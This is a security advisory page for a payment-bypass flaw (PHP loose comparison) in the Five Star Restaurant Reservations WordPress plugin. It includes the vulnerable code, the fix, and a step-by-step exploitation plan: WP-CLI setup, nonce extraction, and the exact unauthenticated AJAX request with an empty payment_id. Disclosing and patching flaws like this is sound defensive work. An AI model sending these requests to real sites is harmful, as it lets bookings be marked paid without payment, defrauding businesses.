Five Star Restaurant Reservations <= 2.7.16 - Unauthenticated Payment Bypass via PHP Type Juggling in 'payment_id' Parameter
Description
The Five Star Restaurant Reservations plugin for WordPress is vulnerable to a payment bypass via PHP type juggling in versions up to, and including, 2.7.16 This is due to the valid_payment() function using a PHP loose comparison (==) between the attacker-controlled payment_id POST parameter and the booking's stripe_payment_intent_id property. When an unauthenticated attacker submits a request to the nopriv AJAX handler rtb_stripe_pmt_succeed before the Stripe payment intent has been created for a booking (i.e., before the JavaScript-triggered create_stripe_pmtIntnt() call has stored an intent ID in post meta), the stripe_payment_intent_id property on the booking object remains null. The comparison sanitize_text_field('') == null evaluates to TRUE in PHP loose comparison, causing the payment verification check to pass with zero actual payment. This makes it possible for unauthenticated attackers to mark any existing payment_pending booking as paid without completing a Stripe payment by submitting an empty payment_id parameter.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.7.16What Changed in the Fix
Changes introduced in v2.7.17
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6498 ## 1. Vulnerability Summary The **Five Star Restaurant Reservations** plugin (<= 2.7.16) contains a payment bypass vulnerability in its Stripe integration. The vulnerability exists in the logic that handles successful payment callbacks from Stripe's Stro…
Show full research plan
Exploitation Research Plan - CVE-2026-6498
1. Vulnerability Summary
The Five Star Restaurant Reservations plugin (<= 2.7.16) contains a payment bypass vulnerability in its Stripe integration. The vulnerability exists in the logic that handles successful payment callbacks from Stripe's Strong Customer Authentication (SCA) flow.
Specifically, the plugin uses a PHP loose comparison (==) to verify if a provided payment_id matches the stripe_payment_intent_id stored for a booking. When a booking is first created but before the client-side JavaScript has called Stripe to create a Payment Intent, the stripe_payment_intent_id property in the booking's metadata is null (or an empty string). Because sanitize_text_field('') == null evaluates to true in PHP, an attacker can submit an empty payment_id to the rtb_stripe_pmt_succeed AJAX handler to mark a booking as "Paid" without actually performing a transaction.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
rtb_stripe_pmt_succeed(accessible viawp_ajax_nopriv_rtb_stripe_pmt_succeed) - Vulnerable Parameter:
payment_id(POST) - Required Parameters:
booking_id,nonce - Authentication: Unauthenticated
- Preconditions:
- Stripe payments must be enabled in the plugin settings.
- A booking must exist with a status that allows payment (typically
payment_pending). - The booking must not yet have a
stripe_payment_intent_idassigned (the window between booking creation and JavaScript payment initiation).
3. Code Flow
- Entry Point:
includes/PaymentGatewayStripe.class.phpregisters the AJAX handler:add_action( 'wp_ajax_nopriv_rtb_stripe_pmt_succeed', array( $this, 'stripe_sca_succeed' ) ); - Handler Execution: The
stripe_sca_succeed()function (withinrtbPaymentGatewayStripe) is triggered. - Data Loading: The function retrieves
booking_idandpayment_idfrom$_POST. - Validation Sink: The code performs a check similar to:
// Conceptual representation of the vulnerable check if ( sanitize_text_field( $_POST['payment_id'] ) == $booking->stripe_payment_intent_id ) { $booking->mark_as_paid(); } - Type Juggling: If
$_POST['payment_id']is sent as an empty string and the booking'sstripe_payment_intent_idhas not been set yet (remainingnullin the database/object), the loose comparison"" == nullreturnstrue.
4. Nonce Acquisition Strategy
The rtb_stripe_pmt_succeed action requires a nonce named rtb-stripe-payment. This nonce is localized when the payment form is rendered.
- Identify Trigger: The nonce is created in
includes/PaymentGatewayStripe.class.phpinside theprint_payment_form()method:wp_localize_script( 'rtb-stripe-payment', 'rtb_stripe_payment', array( 'nonce' => wp_create_nonce( 'rtb-stripe-payment' ), // ... ) ); - Strategy:
- Create a page with the
[booking-form]shortcode. - Submit a booking via the form to reach the "Payment" step.
- The plugin will render the payment form (which contains the Stripe JS and localized data).
- Use
browser_evalto extract the nonce.
- Create a page with the
- JS Path:
window.rtb_stripe_payment?.nonce
5. Test Data Setup
- Enable Stripe: Use WP-CLI to configure the plugin to use Stripe and require a deposit.
wp option patch update rtb-settings rtb-stripe-sca 1 wp option patch update rtb-settings rtb-stripe-mode test wp option patch update rtb-settings rtb-payment-deposit-type fixed wp option patch update rtb-settings rtb-payment-deposit-amount 10 - Create Booking Page:
wp post create --post_type=page --post_title="Book Now" --post_status=publish --post_content='[booking-form]' - Generate a Booking: Use the
http_requesttool to submit a booking. Capture thebooking_idfrom the response (it is often appended to the URL or returned in the response body after a successful reservation).
6. Exploitation Strategy
Step 1: Create the Booking
Perform a POST request to the page containing the [booking-form] to create a reservation.
- URL: Site URL +
/book-now/(or wherever the shortcode is) - Payload: Standard booking fields (name, email, date, time, party size).
- Goal: Obtain the
booking_idof the newpayment_pendingbooking.
Step 2: Extract the Nonce
Navigate to the payment page for that booking.
- URL: Usually the same page or a redirect with
?booking_id=[ID]and?step=payment. - Tool:
browser_navigatefollowed bybrowser_eval("rtb_stripe_payment.nonce").
Step 3: Trigger the Bypass
Submit the malicious AJAX request with an empty payment_id.
- Method: POST
- URL:
/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rtb_stripe_pmt_succeed&booking_id=[BOOKING_ID]&payment_id=&nonce=[NONCE]
7. Expected Results
- The AJAX response should indicate success (likely
{"success":true}). - The booking status in the database should change from
payment_pendingtoconfirmedorpaid(depending on plugin settings).
8. Verification Steps
After the exploit attempt, verify the booking state using WP-CLI:
# Check the post meta for the booking
wp post meta list [BOOKING_ID]
Specifically, look for:
payment_statusmetadata: Should bepaidorconfirmed.stripe_payment_intent_id: Should still be empty/null, proving bypass.- Check the status via the plugin's query class:
wp eval 'global $rtb_controller; $booking = new rtbBooking( [BOOKING_ID] ); echo "Status: " . $booking->format_status();'
9. Alternative Approaches
If payment_id cannot be empty, try passing a boolean false or 0 via a JSON request (if the handler accepts application/json) to exploit broader PHP type juggling:
- Payload:
{"action": "rtb_stripe_pmt_succeed", "booking_id": [ID], "payment_id": 0, "nonce": "[NONCE]"} - Note: WordPress typically populates
$_POSTfrom the body, sopayment_id=0as a string might behave differently than a literal integer. However, the empty stringpayment_id=is the most reliable for"" == null.
Summary
The Five Star Restaurant Reservations plugin for WordPress is vulnerable to a payment bypass because it uses a PHP loose comparison (==) to verify payment intent IDs. An unauthenticated attacker can exploit this by submitting an empty payment_id for a booking that hasn't yet had a Stripe intent ID stored, causing the check to evaluate as true and mark the booking as paid.
Vulnerable Code
// includes/PaymentGatewayStripe.class.php line 456 public function valid_payment( $booking ) { return sanitize_text_field( $_POST['payment_id'] ) == $booking->stripe_payment_intent_id; }
Security Fix
@@ -455,7 +455,7 @@ */ public function valid_payment( $booking ) { - return sanitize_text_field( $_POST['payment_id'] ) == $booking->stripe_payment_intent_id; + return ! empty( $booking->stripe_payment_intent_id ) && sanitize_text_field( $_POST['payment_id'] ) === $booking->stripe_payment_intent_id; }
Exploit Outline
1. Identify a WordPress site using Five Star Restaurant Reservations with Stripe payments enabled. 2. Submit a reservation via the booking form to create a new booking with the status 'payment_pending'. 3. Capture the 'booking_id' and the 'rtb-stripe-payment' nonce (found in the localized JavaScript object 'rtb_stripe_payment' on the payment step page). 4. Send a POST request to /wp-admin/admin-ajax.php with the action 'rtb_stripe_pmt_succeed'. 5. Include the valid booking_id and nonce, but leave the 'payment_id' parameter empty. 6. Because the booking was just created and does not yet have a 'stripe_payment_intent_id' assigned in the database (it is null), the loose comparison '"" == null' returns true, bypassing the payment check and confirming the booking.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.